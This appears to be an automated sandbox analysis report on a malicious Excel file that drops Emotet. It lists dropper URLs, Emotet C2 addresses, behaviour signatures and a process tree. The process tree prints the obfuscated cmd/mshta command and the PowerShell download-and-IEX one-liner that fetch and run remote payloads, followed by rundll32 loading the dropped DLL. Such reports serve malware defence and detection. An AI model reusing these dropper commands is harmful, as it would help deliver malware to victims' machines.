Analysis

  • max time kernel
    118s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 22:13

General

  • Target
    a94bd49bc8d8efb16fa2ba6ac7c9e6b6.xls
  • Size 70KB
  • Sample220120-143f2acae4
  • SHA256 3b63534dcaf71bdf8293d2a3ce3310a02d2eda37deac68d5ccbdc89cfbc8f408
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a94bd49bc8d8efb16fa2ba6ac7c9e6b6.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1420
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1736
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1916
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1136
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1968
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xzucgh\hxlolodkguzhtf.nwr",oyThT
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1152
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xzucgh\hxlolodkguzhtf.nwr",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1892

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1136-71-0x0000000000230000-0x0000000000256000-memory.dmp

        memory/1152-92-0x00000000001C0000-0x00000000001E6000-memory.dmp

        memory/1676-57-0x0000000075021000-0x0000000075023000-memory.dmp

        memory/1676-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1676-55-0x0000000071031000-0x0000000071033000-memory.dmp

        memory/1676-54-0x000000002FD01000-0x000000002FD04000-memory.dmp

        memory/1676-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1736-63-0x0000000002570000-0x00000000031BA000-memory.dmp

        memory/1736-62-0x0000000002570000-0x00000000031BA000-memory.dmp

        memory/1736-64-0x0000000002570000-0x00000000031BA000-memory.dmp

        memory/1892-106-0x00000000026D0000-0x00000000026F6000-memory.dmp

        memory/1892-110-0x0000000002830000-0x0000000002856000-memory.dmp

        memory/1892-114-0x0000000002A31000-0x0000000002A53000-memory.dmp

        memory/1892-115-0x0000000002A30000-0x0000000002A56000-memory.dmp

        memory/1892-112-0x0000000002990000-0x00000000029B6000-memory.dmp

        memory/1892-98-0x0000000000790000-0x00000000007B6000-memory.dmp

        memory/1892-100-0x0000000000880000-0x00000000008A6000-memory.dmp

        memory/1892-104-0x0000000002470000-0x0000000002496000-memory.dmp

        memory/1892-108-0x0000000002770000-0x0000000002796000-memory.dmp

        memory/1968-80-0x00000000005A0000-0x00000000005C6000-memory.dmp

        memory/1968-86-0x00000000025E0000-0x0000000002606000-memory.dmp

        memory/1968-91-0x00000000028E0000-0x0000000002906000-memory.dmp

        memory/1968-84-0x00000000024C0000-0x00000000024E6000-memory.dmp

        memory/1968-88-0x0000000002730000-0x0000000002756000-memory.dmp

        memory/1968-78-0x0000000000310000-0x0000000000336000-memory.dmp